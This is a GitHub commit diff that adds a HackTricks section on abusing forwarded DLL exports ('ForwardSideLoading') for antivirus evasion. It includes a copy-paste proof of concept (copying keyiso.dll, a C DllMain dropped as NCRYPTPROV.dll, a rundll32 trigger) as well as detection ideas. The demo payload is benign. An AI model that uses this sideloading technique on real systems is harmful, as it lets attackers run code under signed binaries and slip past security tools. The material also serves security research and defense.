Skip to content

Commit b26177a

Browse files
authored
Merge pull request #1331 from HackTricks-wiki/update_DLL_ForwardSideLoading_20250824_182553
DLL ForwardSideLoading
2 parents a1ae585 + 8c5460a commit b26177a

File tree

1 file changed

+67
-1
lines changed

1 file changed

+67
-1
lines changed

src/windows-hardening/av-bypass.md

Lines changed: 67 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -121,6 +121,69 @@ Both our shellcode (encoded with [SGN](https://github.com/EgeBalci/sgn)) and the
121121
> [!TIP]
122122
> I **highly recommend** you watch [S3cur3Th1sSh1t's twitch VOD](https://www.twitch.tv/videos/1644171543) about DLL Sideloading and also [ippsec's video](https://www.youtube.com/watch?v=3eROsG_WNpE) to learn more about what we've discussed more in-depth.
123123
124+
### Abusing Forwarded Exports (ForwardSideLoading)
125+
126+
Windows PE modules can export functions that are actually "forwarders": instead of pointing to code, the export entry contains an ASCII string of the form `TargetDll.TargetFunc`. When a caller resolves the export, the Windows loader will:
127+
128+
- Load `TargetDll` if not already loaded
129+
- Resolve `TargetFunc` from it
130+
131+
Key behaviors to understand:
132+
- If `TargetDll` is a KnownDLL, it is supplied from the protected KnownDLLs namespace (e.g., ntdll, kernelbase, ole32).
133+
- If `TargetDll` is not a KnownDLL, the normal DLL search order is used, which includes the directory of the module that is doing the forward resolution.
134+
135+
This enables an indirect sideloading primitive: find a signed DLL that exports a function forwarded to a non-KnownDLL module name, then co-locate that signed DLL with an attacker-controlled DLL named exactly as the forwarded target module. When the forwarded export is invoked, the loader resolves the forward and loads your DLL from the same directory, executing your DllMain.
136+
137+
Example observed on Windows 11:
138+
139+
```
140+
keyiso.dll KeyIsoSetAuditingInterface -> NCRYPTPROV.SetAuditingInterface
141+
```
142+
143+
`NCRYPTPROV.dll` is not a KnownDLL, so it is resolved via normal search order.
144+
145+
PoC (copy-paste):
146+
1) Copy the signed system DLL to a writable folder
147+
```
148+
copy C:\Windows\System32\keyiso.dll C:\test\
149+
```
150+
2) Drop a malicious `NCRYPTPROV.dll` in the same folder. A minimal DllMain is enough to get code execution; you do not need to implement the forwarded function to trigger DllMain.
151+
```c
152+
// x64: x86_64-w64-mingw32-gcc -shared -o NCRYPTPROV.dll ncryptprov.c
153+
#include <windows.h>
154+
BOOL WINAPI DllMain(HINSTANCE hinst, DWORD reason, LPVOID reserved){
155+
if (reason == DLL_PROCESS_ATTACH){
156+
HANDLE h = CreateFileA("C\\\\test\\\\DLLMain_64_DLL_PROCESS_ATTACH.txt", GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
157+
if(h!=INVALID_HANDLE_VALUE){ const char *m = "hello"; DWORD w; WriteFile(h,m,5,&w,NULL); CloseHandle(h);}
158+
}
159+
return TRUE;
160+
}
161+
```
162+
3) Trigger the forward with a signed LOLBin:
163+
```
164+
rundll32.exe C:\test\keyiso.dll, KeyIsoSetAuditingInterface
165+
```
166+
167+
Observed behavior:
168+
- rundll32 (signed) loads the side-by-side `keyiso.dll` (signed)
169+
- While resolving `KeyIsoSetAuditingInterface`, the loader follows the forward to `NCRYPTPROV.SetAuditingInterface`
170+
- The loader then loads `NCRYPTPROV.dll` from `C:\test` and executes its `DllMain`
171+
- If `SetAuditingInterface` is not implemented, you'll get a "missing API" error only after `DllMain` has already run
172+
173+
Hunting tips:
174+
- Focus on forwarded exports where the target module is not a KnownDLL. KnownDLLs are listed under `HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs`.
175+
- You can enumerate forwarded exports with tooling such as:
176+
```
177+
dumpbin /exports C:\Windows\System32\keyiso.dll
178+
# forwarders appear with a forwarder string e.g., NCRYPTPROV.SetAuditingInterface
179+
```
180+
- See the Windows 11 forwarder inventory to search for candidates: https://hexacorn.com/d/apis_fwd.txt
181+
182+
Detection/defense ideas:
183+
- Monitor LOLBins (e.g., rundll32.exe) loading signed DLLs from non-system paths, followed by loading non-KnownDLLs with the same base name from that directory
184+
- Alert on process/module chains like: `rundll32.exe` → non-system `keyiso.dll` → `NCRYPTPROV.dll` under user-writable paths
185+
- Enforce code integrity policies (WDAC/AppLocker) and deny write+execute in application directories
186+
124187
## [**Freeze**](https://github.com/optiv/Freeze)
125188
126189
`Freeze is a payload toolkit for bypassing EDRs using suspended processes, direct syscalls, and alternative execution methods`
@@ -511,7 +574,7 @@ C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe payload.xml
511574

512575
### Compiling our own reverse shell
513576

514-
https://medium.com/@Bank\_Security/undetectable-c-c-reverse-shells-fab4c0ec4f15
577+
https://medium.com/@Bank_Security/undetectable-c-c-reverse-shells-fab4c0ec4f15
515578

516579
#### First C# Revershell
517580

@@ -834,6 +897,9 @@ References for PPL and tooling
834897
- [Unit42 – New Infection Chain and ConfuserEx-Based Obfuscation for DarkCloud Stealer](https://unit42.paloaltonetworks.com/new-darkcloud-stealer-infection-chain/)
835898
- [Synacktiv – Should you trust your zero trust? Bypassing Zscaler posture checks](https://www.synacktiv.com/en/publications/should-you-trust-your-zero-trust-bypassing-zscaler-posture-checks.html)
836899
- [Check Point Research – Before ToolShell: Exploring Storm-2603’s Previous Ransomware Operations](https://research.checkpoint.com/2025/before-toolshell-exploring-storm-2603s-previous-ransomware-operations/)
900+
- [Hexacorn – DLL ForwardSideLoading: Abusing Forwarded Exports](https://www.hexacorn.com/blog/2025/08/19/dll-forwardsideloading/)
901+
- [Windows 11 Forwarded Exports Inventory (apis_fwd.txt)](https://hexacorn.com/d/apis_fwd.txt)
902+
- [Microsoft Docs – Known DLLs](https://learn.microsoft.com/windows/win32/dlls/known-dlls)
837903
- [Microsoft – Protected Processes](https://learn.microsoft.com/windows/win32/procthread/protected-processes)
838904
- [Microsoft – EKU reference (MS-PPSEC)](https://learn.microsoft.com/openspecs/windows_protocols/ms-ppsec/651a90f3-e1f5-4087-8503-40d804429a88)
839905
- [Sysinternals – Process Monitor](https://learn.microsoft.com/sysinternals/downloads/procmon)

0 commit comments

Comments
 (0)